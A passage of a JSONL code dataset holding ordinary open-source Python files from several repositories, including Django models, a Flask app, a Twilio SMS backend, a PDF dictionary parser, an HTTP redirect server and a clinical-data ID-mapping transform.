analysisflow.connect(inputspec, 'func', sltcor, 'in_file')\n analysisflow.connect(inputspec, 'func', TRvalue, 'in_file')\n analysisflow.connect(func_str2float_2, 'str', sltcor, 'tr')\n analysisflow.connect(TRvalue, 'TR', func_str2float_2, 'float')\n #analysisflow.connect(ds, 'out_file', func_joinval2dict, 'keys')\n #analysisflow.connect(func_str2float, 'float', func_joinval2dict, 'vals')\n analysisflow.connect(TRvalue, 'TR', func_str2float, 'str')\n analysisflow.connect(sltcor, 'out_file', ds, 'slicetimed')\n analysisflow.connect(sltcor, 'out_file', outputspec, 'slicetimed')\n\n\n\n return analysisflow\n\n\n\n\n", "source": "spisakt/PUMI", "license": "BSD-3-Clause"}
+{"text": "from django.db import models\nfrom datetime import *\n# Create your models here.\n\n#\u516c\u53f8\u5185\u90e8\u90e8\u95e8\nclass Departments(models.Model):\n depname=models.CharField(u'\u90e8\u95e8\u540d\u79f0',max_length=40)\n depmanagerid=models.CharField(u'\u90e8\u95e8\u7ecf\u7406',max_length=40)\n def __str__(self):\n return '%s' % self.depname#\u8fd4\u56de\u5c5e\u6027\u7684\u663e\u793a\u5185\u540c\n class Meta:\n verbose_name='\u516c\u53f8\u5185\u90e8\u95e8'\n verbose_name_plural='\u516c\u53f8\u5185\u90e8\u95e8'\n\n#\u516c\u53f8\u5de5\u7a0b\u5e08\u4fe1\u606f\nclass User(models.Model):\n uname=models.CharField(u'\u59d3\u540d',max_length=40)\n upasswd=models.CharField(u'\u7cfb\u7edf\u5bc6\u7801',max_length=40)\n uCreatedate=models.DateField(U'\u5165\u804c\u65e5\u671f',auto_now_add=True)#\u83b7\u53d6\u521b\u5efa\u65e5\u671f\n uupoto=models.ImageField(u'\u7167\u7247')\n userworkid=models.CharField(u'\u5de5\u53f7',max_length=20)\n uidcard=models.IntegerField(u'\u8eab\u4efd\u8bc1\u53f7\u7801')\n utelphone=models.IntegerField(u'\u624b\u673a\u53f7\u7801')\n uemail=models.EmailField(u'\u90ae\u7bb1\u5730\u5740')#\u81ea\u52a8\u9a8c\u8bc1\u90ae\u4ef6\u683c\u5f0f\n ufirstcontact=models.CharField(u'\u8054\u7cfb\u4eba\u59d3\u540d',max_length=40)\n uconphone=models.IntegerField(u'\u8054\u7cfb\u4eba\u53f7\u7801')\n uaddress=models.CharField(u'\u4f4f\u5740',max_length=100)\n ugender=models.BooleanField(default=True)#\u6027\u522b\n ueduschool=models.CharField(u'\u6bd5\u4e1a\u9662\u6821',max_length=40)\n ueducation=models.CharField(u'\u5b66\u5386',max_length=20)\n uorigin=models.CharField(u'\u7c4d\u8d2f',max_length=20)\n isDelect=models.BooleanField(default=False)#\u662f\u5426\u5728\u804c\u72b6\u6001\n uprojectname=models.ForeignKey(\"Projects\",on_delete=models.CASCADE,) #\u6240\u5c5e\u9879\u76ee------------\n udepname=models.ForeignKey(\"Departments\",on_delete=models.CASCADE,)#\u6240\u5c5e\u90e8\u95e8---------------\n ulasttime=models.DateField(auto_now=True)#\u83b7\u53d6\u4fee\u6539\u65e5\u671f\n def __str__(self):\n return '%s' % self.uname#\u8fd4\u56de\u5c5e\u6027\u7684\u663e\u793a\u5185\u540c\n class Meta:\n verbose_name='\u5de5\u7a0b\u5e08\u4fe1\u606f\u8868'\n verbose_name_plural='\u5de5\u7a0b\u5e08\u4fe1\u606f\u8868'\n#***********************************************************************************************\n######\u6ca1\u6709\u6ce8\u518c\u5230\u6570\u636e\u5e93\n\n\n\n\n\n#***********************************************************************************************\n#_____________________________________WEBOA_____________________________________________________\n#\u5de5\u7a0b\u5e08\u57f9\u8bad\u5b66\u4e60\u8003\u6838\u8bb0\u5f55\n#\u5de5\u7a0b\u5e08\u5c97\u4f4d\u72b6\u6001\u8f6c\u6362\u6d41\u7a0b\u8bb0\u5f55--\u9879\u76ee\u5c97\u4f4d\u8f6c\u6362\n#\u8c03\u4f11/\u4e8b\u5047/\u75c5\u5047/\u52a0\u73ed\u7533\u8bf7\u7b49\n#\u8bd5\u5de5--\u5165\u804c--\u6b63\u5f0f--\u7ea7\u522b\u63d0\u5347\u7533\u8bf7\n#\u516c\u53f8\u670d\u52a1\u4e8b\u4ef6\u8bb0\u5f55\u8868\n\n#\u9879\u76ee\u4fe1\u606f\nclass Projects(models.Model):\n pname=models.CharField(u'\u9879\u76ee\u540d\u79f0',max_length=100)\n pname=models.CharField(u'\u9879\u76ee\u7b80\u79f0',max_length=100)\n paddress=models.CharField(u'\u9879\u76ee\u5730\u5740',max_length=100)\n pcreatedate=models.DateField(auto_now_add=True)\n plastdate=models.DateField(auto_now=True)\n def __str__(self):\n return '%s' % self.pname#\u8fd4\u56de\u5c5e\u6027\u7684\u663e\u793a\u5185\u540c\n class Meta:\n verbose_name='\u9879\u76ee\u4fe1\u606f\u8868'\n verbose_name_plural='\u9879\u76ee\u4fe1\u606f\u8868'\n\n#\u9879\u76ee\u5ba2\u6237\u90e8\u95e8\u4fe1\u606f\nclass CustomerDep (models.Model):\n cdname=models.CharField(u'\u9879\u76ee\u90e8\u95e8',max_length=100)\n dpname=models.ForeignKey(\"Projects\",on_delete=models.CASCADE,)#\u9879\u76ee\u540d\u79f0------------\n def __str__(self):\n return '%s' % self.cdname#\u8fd4\u56de\u5c5e\u6027\u7684\u663e\u793a\u5185\u540c\n class Meta:\n verbose_name='\u9879\u76ee\u90e8\u95e8\u8868'\n verbose_name_plural='\u9879\u76ee\u90e8\u95e8\u8868'\n\n#\u9879\u76ee\u5ba2\u6237\u4fe1\u606f\nclass Customersess(models.Model):\n cname=models.CharField(u'\u5ba2\u6237\u59d3\u540d',max_length=40)\n cphone=models.IntegerField(u'\u5ba2\u6237\u7535\u8bdd')\n # cpasswd=models.CharField(u'\u767b\u9646\u5bc6\u7801',max_length=40)\n cprojectname=models.ForeignKey(\"Projects\",on_delete=models.CASCADE,)#\u5ba2\u6237\u6240\u5c5e\u9879\u76ee-----------\n cdepname=models.ForeignKey(\"CustomerDep\",on_delete=models.CASCADE,)#\u5ba2\u6237\u6240\u5c5e\u90e8\u95e8----------\n def __str__(self):\n return '%s' % self.cname#\u8fd4\u56de\u5c5e\u6027\u7684\u663e\u793a\u5185\u540c\n class Meta:\n verbose_name='\u5ba2\u6237\u4eba\u5458\u4fe1\u606f\u8868'\n verbose_name_plural='\u5ba2\u6237\u4eba\u5458\u4fe1\u606f\u8868'\n\n#______________________________________ITIL______________________________________________________\nclass Itilworklog(models.Model):\n pass\n\nclass Itsla(models.Model):\n pass\n\nclass Itfaulttpye(models.Model):\n pass\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "source": "abiner/lankuai", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\r\n\r\nimport string\r\nimport re\r\nimport codecs\r\nfrom lxml import etree\r\nfrom xmlparsefunctions import *\r\n\r\nsource = 'aaa-bbb-Author'\r\n\r\n# Enter font and size for entries in first language\r\nlang1font = 'LongZapSILDoulosL,Bold'\r\nlang1size = '13.800'\r\n\r\n# Enter font and size for entries in second language\r\nlang2font = 'LongZapSILDoulosL'\r\nlang2size = '12.902'\r\n\r\n# Enter font and size for part of speech (word class) indicator\r\nposfont = 'LongZapSILDoulosL,Italic'\r\npossize = '11.719'\r\n\r\n# Enter font and size for numerical meaning delimiters\r\nnumdelfont = 'LongZapSILDoulosL'\r\nnumdelsize = '12.902'\r\n\r\n# Enter font and size for parenthetical information\r\nparnotefont = 'LongZapSILDoulosL,Italic'\r\nparnotesize = '11.719'\r\n\r\n# Enter correct unicode codes for incorrectly encoded characters\r\nchardict = {u'\u00df': \"'\",\r\n u'\u00e7': u'\\u02c6',\r\n u'\u00e0': u'a\\u0301\\u0331'}\r\n\r\n# Enter max and min values of y2 in bounding box\r\ny2min = 135\r\ny2max = 680\r\n\r\nroot = etree.parse(source + '-0.xml')\r\nout = codecs.open(source + '-1.txt', 'w', encoding='utf-8')\r\n\r\nlang1 = note = pos = lang2 = num = '' # strings storing the accumulated characters in each category\r\ncharstate = '' # variable storing the state of the current character\r\norigcharlist = [] # builds an inventory of orig characters in file\r\nrevcharlist = []\r\n\r\nfor tag in root.findall('.//text'):\r\n\r\n prevcharstate = charstate\r\n \r\n bbox = tag.get('bbox').split(',')\r\n ymin = float(bbox[1])\r\n ymax = float(bbox[3])\r\n\r\n if ymax < y2min or ymin > y2max: # ignores the page headers which happen to be in same font as lang1 or lang2 expressions. based on the height of the position of the character on the page\r\n continue\r\n\r\n origchar = tag.text\r\n\r\n if origchar not in origcharlist:\r\n origcharlist.append(origchar)\r\n\r\n # fix encoding errors\r\n\r\n if origchar in chardict:\r\n char = chardict[origchar]\r\n else:\r\n char = origchar\r\n\r\n if char not in revcharlist:\r\n revcharlist.append(char)\r\n\r\n size = tag.get('size')\r\n\r\n acceptsize = [lang1size, lang2size, possize, numdelsize, parnotesize]\r\n\r\n if size not in acceptsize:\r\n continue\r\n\r\n font = tag.get('font')\r\n \r\n if (char == '(' or char == ')'): # fixes incorrectly typeset parentheses\r\n font = parnotefont\r\n size = parnotesize\r\n \r\n if font == lang1font and size == lang1size: \r\n if char == ' ' and prevcharstate != 'lang1': \r\n continue\r\n charstate = 'lang1'\r\n if prevcharstate == 'pos':\r\n lang1 = note = pos = lang2 = num = '' # wipes out the current line if there is no lang2 expression, does not print\r\n if prevcharstate == 'lang2' or prevcharstate == 'note': # if new lang1 headword and previous state was lang2 or parenthetical note, print line and start over\r\n output_record(out, lang1, pos, lang2, note)\r\n lang1 = note = pos = lang2 = num = ''\r\n lang1 += char\r\n\r\n elif font == numdelfont and size == numdelsize and re.match(r'[\\d\\.]', char): \r\n if prevcharstate == 'lang2' or prevcharstate == 'note':\r\n output_record(out, lang1, pos, lang2, note)\r\n note = lang2 = num = '' # don't reset lang1 or pos back to ''\r\n if prevcharstate == 'num': # ignore the second character of a number (if there is one) and the following period\r\n continue\r\n charstate = 'num'\r\n num += char\r\n\r\n elif font == lang2font and size == lang2size: \r\n if char == ' ' and prevcharstate != 'lang2':\r\n continue\r\n charstate = 'lang2'\r\n lang2 += char\r\n \r\n elif font == parnotefont and size == parnotesize and (char == '(' or charstate == 'note'): \r\n charstate = 'note'\r\n note += char\r\n\r\n elif font == posfont and size == possize: \r\n if prevcharstate != 'pos': \r\n pos = '' \r\n charstate = 'pos'\r\n pos += char\r\n \r\n else:\r\n continue\r\n\r\n\r\noutput_record(out, lang1, pos, lang2, note) # gets output for last line in source\r\n\r\nout.close()\r\n\r\nchar_inventory(origcharlist, revcharlist) # outputs a list of characters encoded in xml input, and revised characters in txt output \r\n", "source": "longnow/panlex-tools", "license": "MIT"}
+{"text": "from typing import Callable\nfrom flask import Flask, jsonify, request\nfrom .encoder import CustomJSONEncoder\nfrom .models import DeviceAttributes\nfrom .iplink import IpLink\nfrom .controllers import show_devices, show_device\nfrom logging import Logger\n\n\ndef create_app(fct: Callable[[Logger], IpLink]):\n app = Flask(__name__)\n app.json_encoder = CustomJSONEncoder\n\n iplink = fct(app.logger)\n\n @app.route('/')\n def app_show_devices():\n return jsonify(show_devices(iplink))\n\n @app.route('/')\n def app_show_device(name: str):\n return jsonify(show_device(iplink, name))\n\n @app.route('/', methods=['POST'])\n def app_add_device(name: str):\n print(request)\n return jsonify(show_device(iplink, name))\n\n return app\n", "source": "Carsten-Leue/learn-flask", "license": "MIT"}
+{"text": "cities = [\n 'Vilnius',\n 'Kaunas',\n 'Klaipeda',\n 'Siauliai',\n 'Panevezys',\n 'Alytus',\n 'Dainava (Kaunas)',\n 'Eiguliai',\n 'Marijampole',\n 'Mazeikiai',\n 'Silainiai',\n 'Fabijoniskes',\n 'Jonava',\n 'Utena',\n 'Pasilaiciai',\n 'Kedainiai',\n 'Seskine',\n 'Lazdynai',\n 'Telsiai',\n 'Visaginas',\n 'Taurage',\n 'Justiniskes',\n 'Ukmerge',\n 'Aleksotas',\n 'Plunge',\n 'Naujamiestis',\n 'Kretinga',\n 'Silute',\n 'Vilkpede',\n 'Radviliskis',\n 'Pilaite',\n 'Palanga',\n 'Druskininkai',\n 'Gargzdai',\n 'Rokiskis',\n 'Birzai',\n 'Kursenai',\n 'Garliava',\n 'Elektrenai',\n 'Jurbarkas',\n 'Vilkaviskis',\n 'Raseiniai',\n 'Anyksciai',\n 'Naujoji Akmene',\n 'Lentvaris',\n 'Grigiskes',\n 'Prienai',\n 'Joniskis',\n 'Kelme',\n 'Rasos',\n 'Varena',\n 'Kaisiadorys',\n 'Pasvalys',\n 'Kupiskis',\n 'Zarasai',\n 'Skuodas',\n 'Sirvintos',\n 'Kazlu Ruda',\n 'Moletai',\n 'Salcininkai',\n 'Svencioneliai',\n 'Sakiai',\n 'Ignalina',\n 'Pabrade',\n 'Kybartai',\n 'Nemencine',\n 'Silale',\n 'Pakruojis',\n 'Svencionys',\n 'Trakai',\n 'Vievis'\n]\n", "source": "xioren/JohnDoe", "license": "MIT"}
+{"text": "#-*- coding: utf-8 -*-\n\"\"\"\nthis backend requires the twilio python library: http://pypi.python.org/pypi/twilio/\n\"\"\"\nfrom twilio.rest import TwilioRestClient\nfrom django.conf import settings\nfrom sendsms.backends.base import BaseSmsBackend\n\nTWILIO_ACCOUNT_SID = getattr(settings, 'SENDSMS_TWILIO_ACCOUNT_SID', '')\nTWILIO_AUTH_TOKEN = getattr(settings, 'SENDSMS_TWILIO_AUTH_TOKEN', '')\n\nclass SmsBackend(BaseSmsBackend):\n def send_messages(self, messages):\n client = TwilioRestClient(TWILIO_ACCOUNT_SID, TWILIO_AUTH_TOKEN)\n for message in messages:\n for to in message.to:\n try:\n msg = client.sms.messages.create(\n to=to,\n from_=message.from_phone,\n body=message.body\n )\n except:\n if not self.fail_silently:\n raise", "source": "kelvinwong-ca/django-sendsms", "license": "MIT"}
+{"text": "import pytest\nfrom config.app import create_app\nfrom config.initializers.errors import RequestErrorHandling\nfrom config.db import db as _db\n\n\n@pytest.fixture()\ndef app():\n app = create_app()\n\n RequestErrorHandling(app)\n # Router has to be imported at last as it in turns loads the application code\n with app.app_context():\n from config.router import load_blueprints\n load_blueprints(app)\n\n return app\n\n\n@pytest.fixture(scope='function', autouse=True)\ndef db(app, request):\n _db.drop_all()\n _db.create_all()\n return _db\n", "source": "practo/federation", "license": "MIT"}
+{"text": "###\n#\n# Full history: see below\n#\n# Version: 1.0.0\n# Date: 2020-04-26\n# Author: Yves Vindevogel (vindevoy)\n#\n# Original code:\n# https://openvpn.net/vpn-server-resources/how-to-redirect-http-to-https/\n# Adapted to version 3 of Python and slightly modified\n#\n###\n\nimport http.server\nimport socketserver\nimport getopt\nimport sys\n\nPORT = 80\nTARGET_URL = 'https://127.0.0.1'\n\n\nclass Redirect(http.server.SimpleHTTPRequestHandler):\n def do_GET(self):\n self.send_response(301)\n self.send_header('Location', TARGET_URL)\n self.end_headers()\n\n\nif __name__ == '__main__':\n opts, args = getopt.getopt(sys.argv[1:], 'u:p:', ['url=', 'port='])\n\n for opt, arg in opts:\n if opt in ['-u', '--url']:\n TARGET_URL = arg\n if opt in ['-p', '--port']:\n PORT = int(arg)\n\n handler = socketserver.TCPServer((\"\", PORT), Redirect)\n handler.serve_forever()\n", "source": "vindevoy/cherryblog", "license": "MIT"}
+{"text": "from django.contrib import admin\nfrom .models import Actor\n\n# Register your models here.\n\n@admin.register(Actor)\nclass ActorAdmin(admin.ModelAdmin):\n\tpass\n\n", "source": "ravshansk/ajans", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n# --------------------( LICENSE )--------------------\n# Copyright (c) 2014-2021 Beartype authors.\n# See \"LICENSE\" for further details.\n\n'''\nProject-wide **Python interpreter** utilities.\n\nThis private submodule is *not* intended for importation by downstream callers.\n'''\n\n# ....................{ IMPORTS }....................\nfrom beartype._util.cache.utilcachecall import callable_cached\nfrom platform import python_implementation\n\n# See the \"beartype.cave\" submodule for further commentary.\n__all__ = ['STAR_IMPORTS_CONSIDERED_HARMFUL']\n\n# ....................{ TESTERS }....................\n@callable_cached\ndef is_py_pypy() -> bool:\n '''\n ``True`` only if the active Python interpreter is **PyPy**.\n\n This tester is memoized for efficiency.\n '''\n\n return python_implementation() == 'PyPy'\n", "source": "vcokltfre/beartype", "license": "MIT"}
+{"text": "from __future__ import division\nimport numpy as np\nimport seaborn as sns\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import NoNorm\nimport random\nfrom scipy.linalg import circulant\nimport networkx as nx\n\ndef _distance_matrix(L):\n Dmax = L//2\n \n D = list(range(Dmax+1))\n D += D[-2+(L%2):0:-1]\n \n return circulant(D)/Dmax\n \ndef _pd(d, p0, beta):\n return beta*p0 + (d <= p0)*(1-beta)\n \ndef watts_strogatz(L, p0, beta, directed=False, rngseed=1):\n rng = np.random.RandomState(rngseed)\n \n d = _distance_matrix(L)\n p = _pd(d, p0, beta)\n \n if directed:\n A = 1*(rng.random_sample(p.shape) < p)\n np.fill_diagonal(A, 0)\n else:\n upper = np.triu_indices(L, 1)\n \n A = np.zeros_like(p, dtype=int)\n A[upper] = 1*(rng.rand(len(upper[0])) < p[upper])\n A.T[upper] = A[upper]\n \n return A\n\ndef preserve_self_loops(matrix0, edges):\n # matrix0 needs to have 1's in the diagonal for this to work\n matrix1=matrix0\n for i in np.arange(0,matrix0.shape[0]):\n deg_dist = np.count_nonzero(matrix0[i,:])\n if deg_dist > edges:\n for k in np.arange(0,deg_dist-edges):\n non_zeros = (np.where(matrix0[i,:]>0)[0]).tolist()\n non_zeros.remove(i)\n random_index = non_zeros[np.random.randint(0,len(non_zeros))]\n matrix1[i,random_index] = 0\n return matrix1\n\ndef D_norm(D0):\n size = D0.shape[0]\n D1 = np.zeros((size,size)) # Preallocate matrix\n for i in np.arange(size):\n D1[:,i] = (D0[:,i] / D0[:,i].sum()).T\n return D1\n\ndef gen_rand_matrix(seed): \n # Network size = 20\n #! Note: directed = False produces a symmetric matrix\n random.seed(seed)\n\n L = 20\n K = 4\n p0 = K/(L-1)\n regular = watts_strogatz(beta=0,directed=False,L=L,p0=p0)\n\n G = nx.Graph()\n G.add_nodes_from(np.arange(0,20))\n\n for i in np.arange(0,20):\n for j in np.arange(0,20):\n if regular[i,j] == 1:\n G.add_edge(i,j)\n \n reg_G = nx.to_numpy_matrix(G)\n di = np.diag_indices(20)\n\n random_G = nx.double_edge_swap(nx.from_numpy_matrix(reg_G), nswap=20, max_tries=1000)\n random_G2 = nx.to_numpy_matrix(random_G)\n\n di = np.diag_indices(20)\n random_G2[di]=1\n\n random_G2_revised = np.asarray(preserve_self_loops(random_G2,edges=5))\n \n random_G2_norm = D_norm(random_G2_revised)\n \n return random_G2_norm\n", "source": "pinskylab/networks_eco_evo", "license": "MIT"}
+{"text": "from ..utils import TranspileTestCase, UnaryOperationTestCase, BinaryOperationTestCase, InplaceOperationTestCase, \\\n MagicMethodFunctionTestCase\n\n\nclass BoolTests(TranspileTestCase):\n def test_setattr(self):\n self.assertCodeExecution(\"\"\"\n x = True\n try:\n x.attr = 42\n except AttributeError as e:\n print(e)\n print('Done.')\n \"\"\")\n\n def test_getattr(self):\n self.assertCodeExecution(\"\"\"\n x = True\n try:\n print(x.attr)\n except AttributeError as e:\n print(e)\n print('Done.')\n \"\"\")\n\n\nclass MagicMethodFunctionTests(MagicMethodFunctionTestCase, TranspileTestCase):\n data_type = 'bool'\n MagicMethodFunctionTestCase._add_tests(vars(), bool)\n\n not_implemented = [\n # All these should be returning NotImplemented and delegating to the __rxxx__ versions\n # of the other types.\n \"test__add__complex\",\n \"test__add__float\",\n \"test__floordiv__float\",\n \"test__mod__float\",\n \"test__mul__bytearray\",\n \"test__mul__bytes\",\n \"test__mul__complex\",\n \"test__mul__float\",\n \"test__mul__list\",\n \"test__mul__str\",\n \"test__mul__tuple\",\n \"test__pow__complex\",\n \"test__pow__float\",\n \"test__sub__complex\",\n \"test__sub__float\",\n \"test__truediv__complex\",\n \"test__truediv__float\",\n\n \"test__radd__complex\",\n \"test__radd__float\",\n \"test__rfloordiv__bool\",\n \"test__rfloordiv__float\",\n \"test__rfloordiv__int\",\n \"test__rmod__bool\",\n \"test__rmod__float\",\n \"test__rmod__int\",\n \"test__rmul__bytearray\",\n \"test__rmul__bytes\",\n \"test__rmul__complex\",\n \"test__rmul__float\",\n \"test__rmul__list\",\n \"test__rmul__str\",\n \"test__rmul__tuple\",\n \"test__rpow__bool\",\n \"test__rpow__complex\",\n \"test__rpow__float\",\n \"test__rpow__int\",\n \"test__rlshift__bool\",\n \"test__rlshift__int\",\n \"test__rrshift__bool\",\n \"test__rrshift__int\",\n \"test__rsub__bool\",\n \"test__rsub__complex\",\n \"test__rsub__float\",\n \"test__rsub__int\",\n \"test__rtruediv__bool\",\n \"test__rtruediv__complex\",\n \"test__rtruediv__float\",\n \"test__rtruediv__int\",\n ]\n\n\nclass UnaryBoolOperationTests(UnaryOperationTestCase, TranspileTestCase):\n data_type = 'bool'\n\n\nclass BinaryBoolOperationTests(BinaryOperationTestCase, TranspileTestCase):\n data_type = 'bool'\n\n\nclass InplaceBoolOperationTests(InplaceOperationTestCase, TranspileTestCase):\n data_type = 'bool'\n", "source": "awildtechno/batavia", "license": "BSD-3-Clause"}
+{"text": "import logging\nimport sqlalchemy\nimport time\n\nfrom pedsnetdcc import VOCAB_TABLES, FACT_RELATIONSHIP_DOMAINS\nfrom pedsnetdcc.abstract_transform import Transform\nfrom pedsnetdcc.db import Statement, StatementList\nfrom pedsnetdcc.dict_logging import secs_since\nfrom pedsnetdcc.utils import check_stmt_err, check_stmt_data\n\n# Pre-transform ID map creation statements.\n\nnew_id_count_sql = \"\"\"SELECT COUNT(*)\nFROM {table_name} LEFT JOIN {map_table_name} ON {pkey_name} = site_id\nWHERE site_id IS NULL\"\"\"\nnew_id_count_msg = \"counting new IDs needed for {table_name}\"\n\nlock_last_id_sql = \"\"\"LOCK {last_id_table_name}\"\"\"\nlock_last_id_msg = \"locking {table_name} last ID tracking table for update\"\n\nupdate_last_id_sql = \"\"\"UPDATE {last_id_table_name} AS new\nSET last_id = new.last_id + '{new_id_count}'::bigint\nFROM {last_id_table_name} AS old RETURNING old.last_id, new.last_id\"\"\"\nupdate_last_id_msg = \"updating {table_name} last ID tracking table to reserve new IDs\" # noqa\n\ninsert_new_maps_sql = \"\"\"INSERT INTO {map_table_name} (site_id, {id_name}_id)\nSELECT {pkey_name}, row_number() over (range unbounded preceding) + '{old_last_id}'::bigint\nFROM {table_name} LEFT JOIN {map_table_name} on {pkey_name} = site_id\nWHERE site_id IS NULL\"\"\" # noqa\ninsert_new_maps_msg = \"inserting new {table_name} ID mappings into map table\"\n\n# Mapping and last ID table naming conventions.\n\nmap_table_name_tmpl = \"{table_name}_ids\"\nlast_id_table_name_tmpl = \"{id_name}_{table_name}_id\"\n\nCREATE_ID_MAP_INDEX_SQL = \"\"\"CREATE INDEX IF NOT EXISTS {0}_maps_idx_site ON {0}_ids (site_id)\"\"\"\n\nlogger = logging.getLogger(__name__)\n\n\nclass IDMappingTransform(Transform):\n @classmethod\n def pre_transform(cls, conn_str, metadata, id_name='dcc'):\n \"\"\"Generate DCC IDs in the database.\n\n See also Transform.pre_transform.\n\n :raises ValueError: if any of the non-vocabulary tables in metadata\n have composite primary keys\n \"\"\"\n\n logger.info({'msg': 'starting ID mapping pre-transform'})\n starttime = time.time()\n\n for table_name in set(metadata.tables.keys()) - set(VOCAB_TABLES):\n\n # Fact relationship and lab_site_mapping tables have no primary key to map.\n if table_name == 'fact_relationship' or table_name == 'lab_site_mapping':\n continue\n\n # Drug Strength table has two primary keys (really belongs in vocab).\n if table_name == 'drug_strength':\n continue\n\n # Get table object and start to build tpl_vars map, which will be\n # used throughout for formatting SQL statements.\n table = metadata.tables[table_name]\n tpl_vars = {'table_name': table_name}\n\n # Set name of the id\n tpl_vars['id_name'] = id_name\n\n\n # In some versions the death table has a primary key constraint\n # on the person_id column.\n if (table_name == 'death' and\n 'person_id' in table.primary_key.columns):\n continue\n\n # Error if the table has more than one primary key column.\n if len(table.primary_key.columns) > 1:\n err = ValueError('cannot generate IDs for multi-column primary'\n ' key on table {0}'.format(table_name))\n logger.error({'msg': 'exiting ID mapping pre-transform',\n 'table': table_name, 'err': err})\n raise err\n\n # Error if the table has no primary key column (except death).\n if len(table.primary_key.columns) == 0:\n # In some versions the death table has no primary key.\n if table_name == 'death':\n continue\n\n err = ValueError('cannot generate IDs for table {0} with no'\n ' primary key'.format(table_name))\n logger.error({'msg': 'exiting ID mapping pre-transform',\n 'table': table_name, 'err': err})\n raise err\n\n # Get primary key, mapping table, and last id tracking table names.\n # The mapping table and last id tracking table names are defined\n # by convention.\n tpl_vars['pkey_name'] = list(table.primary_key.columns.keys())[0]\n tpl_vars['map_table_name'] = map_table_name_tmpl.format(**tpl_vars)\n tpl_vars['last_id_table_name'] = last_id_table_name_tmpl.\\\n format(**tpl_vars)\n\n # Build the statement to count how many new ID mappings are needed.\n new_id_count_stmt = Statement(new_id_count_sql.format(**tpl_vars),\n new_id_count_msg.format(**tpl_vars))\n\n # Execute the new ID mapping count statement and ensure it didn't\n # error and did return a result.\n new_id_count_stmt.execute(conn_str)\n check_stmt_err(new_id_count_stmt, 'ID mapping pre-transform')\n check_stmt_data(new_id_count_stmt, 'ID mapping pre-transform')\n\n # Get the actual count of new ID maps needed and log it.\n tpl_vars['new_id_count'] = new_id_count_stmt.data[0][0]\n logger.info({'msg': 'counted new IDs needed', 'table': table_name,\n 'count': tpl_vars['new_id_count']})\n\n # Build list of two last id table update statements that need to\n # occur in a single transaction to prevent race conditions.\n update_last_id_stmts = StatementList()\n update_last_id_stmts.append(Statement(\n lock_last_id_sql.format(**tpl_vars),\n lock_last_id_msg.format(**tpl_vars)))\n update_last_id_stmts.append(Statement(\n update_last_id_sql.format(**tpl_vars),\n update_last_id_msg.format(**tpl_vars)))\n\n # Execute last id table update statements and ensure they didn't\n # error and the second one returned results.\n update_last_id_stmts.serial_execute(conn_str, transaction=True)\n\n for stmt in update_last_id_stmts:\n check_stmt_err(stmt, 'ID mapping pre-transform')\n check_stmt_data(update_last_id_stmts[1],\n 'ID mapping pre-transform')\n\n # Get the old and new last IDs from the second update statement.\n tpl_vars['old_last_id'] = update_last_id_stmts[1].data[0][0]\n tpl_vars['new_last_id'] = update_last_id_stmts[1].data[0][1]\n logger.info({'msg': 'last ID tracking table updated',\n 'table': table_name,\n 'old_last_id': tpl_vars['old_last_id'],\n 'new_last_id': tpl_vars['new_last_id']})\n\n # Build statement to generate new ID maps.\n insert_new_maps_stmt = Statement(\n insert_new_maps_sql.format(**tpl_vars),\n insert_new_maps_msg.format(**tpl_vars))\n\n # Execute new map generation statement and ensure it didn't error.\n insert_new_maps_stmt.execute(conn_str)\n check_stmt_err(insert_new_maps_stmt, 'id mapping pre-transform')\n logger.info({'msg': 'generated new ID mappings',\n 'table': table_name,\n 'count': insert_new_maps_stmt.rowcount,\n 'elapsed': secs_since(starttime)})\n\n index_stmt = Statement(CREATE_ID_MAP_INDEX_SQL.format(table))\n index_stmt.execute(conn_str)\n check_stmt_err(index_stmt, 'id mapping indexes')\n logger.info({'msg': 'created ID mapping indexes',\n 'table': table_name,\n 'elapsed': secs_since(starttime)})\n\n\n @classmethod\n def modify_select(cls, metadata, table_name, select, join, id_name='dcc'):\n \"\"\"Alter foreign key columns to get mapped DCC IDs.\n\n The primary key and each foreign key which points at a data table\n (i.e., not a vocabulary table) is altered to instead get the dcc_id's\n from the mapping table, which requires a join to be added.\n \"\"\"\n\n # Get table object.\n table = metadata.tables[table_name]\n\n # Raise error if attempted on a multi-column primary key table.\n if len(table.primary_key.columns) > 1:\n raise ValueError('cannot map IDs for multi-column primary key'\n ' on table {0}'.format(table_name))\n\n # Skip primary key mapping if there is none (fact_relationship and pre\n # 2.3 death tables). Also, in some versions, the death table has a\n # primary key constraint on the person_id column.\n if not (len(table.primary_key.columns) == 0 or (table_name == 'death'\n and 'person_id' in table.primary_key.columns)):\n\n # Get primary key name and mapping table name, defined by\n # convention.\n pkey_name = list(table.primary_key.columns.keys())[0]\n map_table_name = map_table_name_tmpl.format(table_name=table_name)\n\n # Construct table object for mapping table, if necessary.\n if map_table_name not in metadata.tables:\n map_table = sqlalchemy.Table(\n map_table_name, metadata,\n sqlalchemy.Column(id_name + '_id', sqlalchemy.Integer),\n sqlalchemy.Column('site_id', sqlalchemy.Integer))\n else:\n map_table = metadata.tables[map_table_name]\n\n map_table_alias = map_table.alias()\n join = join.join(map_table_alias, table.c[pkey_name] ==\n map_table_alias.c['site_id'])\n\n # Create a new select object, because we need to replace the\n # primary key column with the joined mapping table dcc_id column.\n new_select = sqlalchemy.select()\n\n # Get rid of the primary key column.\n for c in select.inner_columns:\n if c.name != pkey_name:\n new_select.append_column(c)\n\n # Add the mapping table dcc_id column as the primary key column.\n new_select.append_column(map_table_alias.c[id_name + '_id'].label(pkey_name))\n\n # Add the original site primary key as the site_id column.\n new_select.append_column(table.c[pkey_name].label('site_id'))\n\n # Put the new select object in the original var for further use.\n select = new_select\n\n # Add a mapping join and column substitution for each foreign key.\n for fkey in table.foreign_key_constraints:\n\n ref_table_name = fkey.referred_table.name\n\n # Do not operate on foreign keys to vocabulary tables.\n if ref_table_name in VOCAB_TABLES:\n continue\n\n # Get foreign key name and mapping table name, defined by\n # convention.\n fkey_name = fkey.column_keys[0]\n map_table_name = map_table_name_tmpl.\\\n format(table_name=ref_table_name)\n\n # Construct table object for mapping table, if necessary.\n if map_table_name not in metadata.tables:\n map_table = sqlalchemy.Table(\n map_table_name, metadata,\n sqlalchemy.Column(id_name + '_id', sqlalchemy.Integer),\n sqlalchemy.Column('site_id', sqlalchemy.Integer))\n else:\n map_table = metadata.tables[map_table_name]\n\n # Make the join an outer join if the foreign key is nullable,\n # otherwise rows 